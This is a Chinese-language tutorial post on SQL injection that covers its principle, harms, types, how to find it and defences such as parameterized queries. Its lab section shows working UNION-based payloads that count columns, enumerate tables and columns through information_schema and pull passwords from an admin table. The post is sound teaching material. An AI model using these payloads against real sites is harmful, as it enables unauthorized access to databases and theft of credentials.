SQL注入

文章目录

    • 一、SQL注入原理
    • 二、SQL注入的危害
    • 三、SQL注入的种类
    • 四、SQL注入挖掘
    • 五、靶场示例GET注入
    • 六、SQL注入防御

一、SQL注入原理

SQL注入指网站应用对用户输入的恶意数据没有进行过滤和防御、导致用户通过将恶意的SQL查询或添加语句拼接到网站的输入参数中带入到数据库中从而进行获取数据库信息等攻击。

二、SQL注入的危害

  • 数据库信息泄漏:盗取用户的隐私以及个人信息
  • 恶意操作数据库:对数据库进行 增删改查
  • 网页篡改:通过操作数据库对网页进行篡改
  • 网站挂马:修改数据库一些字段的值,嵌入网马链接
  • 网站远程控制:上传后门木马、进而控制网站

三、SQL注入的种类

  • 显错注入:可直接在网页上显示查询的内容
  • 报错注入:数据库查询返回结果没有直接在页面中显示,但是将数据库报错信息显示到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取内容
  • 布尔盲注:网页中没有任何信息反馈、只能通过网页显示正常或不正常来进行判断
  • 时间盲注:网页没有任何变化和错误信息、通过注入延时函数来判断网页是否延时
  • 数字型注入:例如网页url中有id=1 利用 and 1=1或者 and 1=2等逻辑运算来判断页面是否正常从而判断是否存在数字型注入
  • 字符型注入:与数字型注入的区别是需要闭合前面的引号、注释后面的引号 常用的闭合符号:’ " ') ") 利用# – 来过滤后面的符号。 列如 id=‘1’ 则id=‘1’ and 1=1 – ’
  • 头部注入:user-agent、cookie、x-forwarded-for、rerferer、以上只列举一些常见的注入点 具体需要判断网站对哪些信息进行获取储存到数据库中

四、SQL注入挖掘

SQL注入常见漏洞位置:任何用户输入与数据库交互的地方都可能产生注入、登录框、搜索框、URL参数信息
判断的流程根据以上种类网页返回的结果来判断提交的测试语句是否成功被数据库引擎执行、如果测试语句被执行了则说明存在注入漏洞。
常用挖掘手段:
工具挖掘:自动化注入测试 省时省力 但容易存在误报、漏报 测试方法有限 范围窄
手工挖掘:灵活多变、测试内容范围广更加丰富 但费时费力 挖掘SQL注入可采取工具人工配合挖掘

五、靶场示例GET注入

此处的id值不同则显示的网页也不同 该值被带入数据库中进行查询显示 因此判断是否存在注入

利用数字型注入进行判断
输入and 1=1 页面正常 and 1=2 页面异常 判定此处存在注入

使用联合查询需要两边的字段数一致 利用 order by 来判断当前表中的字段数 输入到 order by 3的时候页面显示异常 因此判定存在2个字段

进行联合查询查看是否存在显错位 前面的id=1需要让其错误 才能显示后面查询的结果

id=1.1 union select 1,2

找到显错位后 利用该位置进行查询显示我们想要的内容 查询当前数据库名

id=1.1 union select 1,database()

得知数据库名后 查询表名 可使用version()在显错位查询当前版本
information_schema:每个MySQL5.0以上版本中都有一个独立的information_schema,用来存储MySQL中所有其他数据库的基本信息
枚举:页面显示正常 由此可以枚举其它表名是否存在

id=1.1 union select 1,2 from admin

此处使用第一种进行查询


id=1.1 union select 1,table_name from information_schema.tables where table_schema=database()

得知表名后 查询列名 因为列名可能不止一个 所以使用limit 进行分页显示

id=1.1 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin'limit 0,1

得知列名后 查询数据内容

id=1.1 union select 1,password from admin limit 0,1

六、SQL注入防御

  • 过滤用户输入的内容如单引号、双引号、冒号等字符进行转换或者过滤、和危险函数 进行转义
  • 部署waf产品来防护注入
  • 所有查询语句都使用参数化查询,而不是将用户输入内容直接嵌入SQL语句中,当前的数据库系统都带有参数化的SQL语句执行,可以有效地防止SQL注入攻击
  • 对用户进行分级管理,严格控制用户的权限
  • 数据库信息加密

你可能感兴趣的:(sql,数据库,mysql)